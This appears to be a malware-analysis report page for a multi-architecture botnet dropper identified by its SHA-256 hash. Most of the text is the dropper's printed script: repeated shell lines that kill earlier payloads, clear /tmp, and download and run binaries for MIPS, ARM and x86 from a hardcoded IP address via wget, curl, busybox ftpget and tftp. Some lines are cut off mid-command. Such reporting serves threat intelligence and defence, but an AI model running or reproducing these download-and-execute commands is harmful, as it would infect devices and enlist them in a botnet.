3b0b2a25887920155731cafdc2807a1e4784c62dc6201700a3becaf52ae177ff.unknown
Multi-arch botnet dropper
Multi-architecture protocol fallback executionRaw-IP architecture loader clears prior payloads
SHA-2563b0b2a25887920155731cafdc2807a1e4784c62dc6201700a3becaf52ae177ff
MaleculeO₃(C₆ErXe)H₄(Cm₁₀F₆Os₂Po₂)
Evidence
1
2killall -9 mips; killall -9 mips.s; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.202.35.91/mips; chmod +x mips; ./mips massload
3killall -9 mpsl; killall -9 mpsl.s; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.202.35.91/mpsl; chmod +x mpsl; ./mpsl massload
4killall -9 x86; killall -9 x86.s; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.202.35.91/x86; chmod +x x86; ./x86 massload
5killall -9 arm4; killall -9 arm4.s; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.202.35.91/arm4; chmod +x arm4; ./arm4 massload
6killall -9 arm5; killall -9 arm5.s; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.202.35.91/arm5; chmod +x arm5; ./arm5 massload
7killall -9 arm6; killall -9 arm6.s; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.202.35.91/arm6; chmod +x arm6; ./arm6 massload
8killall -9 arm7; killall -9 arm7.s; cd /tmp || cd /var/run || cd /mnt || cd /root || cd /; wget http://45.202.35.91/arm7; chmod +x arm7; ./arm7 massload
9
10cd /tmp; rm -rf *;
11/bin/busybox ftpget 45.202.35.91 -P 8021 mips mips; chmod 777 mips; ./mips massload
12/bin/busybox ftpget 45.202.35.91 -P 8021 mpsl mpsl; chmod 777 mpsl; ./mpsl massload
13/bin/busybox ftpget 45.202.35.91 -P 8021 x86 x86; chmod 777 x86; ./x86 massload
14/bin/busybox ftpget 45.202.35.91 -P 8021 …
16:76… massload
17/bin/busybox ftpget 45.202.35.91 -P 8021 arm7 arm7; chmod 777 arm7; ./arm7 massload
18
19killall -9 mips; killall -9 mips.s; wget http://45.202.35.91/mips; chmod +x mips; ./mips massload
20killall -9 mpsl; killall -9 mpsl.s; wget http://45.202.35.91/mpsl; chmod +x mpsl; ./mpsl massload
21killall -9 x86; killall -9 x86.s; wget http://45.202.35.91/x86; chmod +x x86; ./x86 massload
22killall -9 arm4; killall - …
25:7… l -9 arm7; killall -9 arm7.s; wget http://45.202.35.91/arm7; chmod +x arm7; ./arm7 massload
26
27killall -9 mips; killall -9 mips.s; curl -O http://45.202.35.91/mips; chmod +x mips; ./mips massload
28killall -9 mpsl; killall -9 mpsl.s; curl -O http://45.202.35.91/mpsl; chmod +x mpsl; ./mpsl massload
29killall -9 x86; killall -9 x86.s; curl -O http://45.202.35.91/x86; chmod +x x86; ./x86 massload
30killall -9 arm4; killall -9 arm4.s; curl -O http://45.202.35.91/arm4; chmod +x arm4; ./arm4 massload
31killall -9 arm5; killall -9 arm5.s; curl -O http://45.202.35.91/arm5; chmod +x arm5; ./arm5 massload
32killall -9 arm6; killall -9 arm6.s; curl -O http://45.202.35.91/arm6; chmod +x arm6; ./arm6 massload
33killall -9 arm7; killall -9 arm7.s; curl -O http://45.202.35.91/arm7; chmod +x arm7; ./arm7 massload
34
35ftpget 45.202.35.91 -P 8021 mips mips; chmod 777 mips; ./mips massload
36ftpget 45.202.35.91 -P 8021 mpsl mpsl; chmod 777 mpsl; ./mpsl massload
37ftpget 45.202.35.91 -P 8021 x86 x86; chmod 777 x86; ./x86 massload
38ftpget 45.202 …
40:21… -P 8021 arm6 arm6; chmod 777 arm6; ./arm6 massload
41ftpget 45.202.35.91 -P 8021 arm7 arm7; chmod 777 arm7; ./arm7 massload
42
43/bin/busybox tftp -g -r mips 45.202.35.91 69; chmod 777 mips; ./mips massload
44/bin/busybox tftp -g -r mpsl 45.202.35.91 69; chmod 777 mpsl; ./mpsl massload
45/bin/busybox tftp -g -r x86 45.202.35.91 69; chmod 777 x86; ./x86 massload
46/bin/busybox tftp -g -r arm4 45.202.35.91 69; …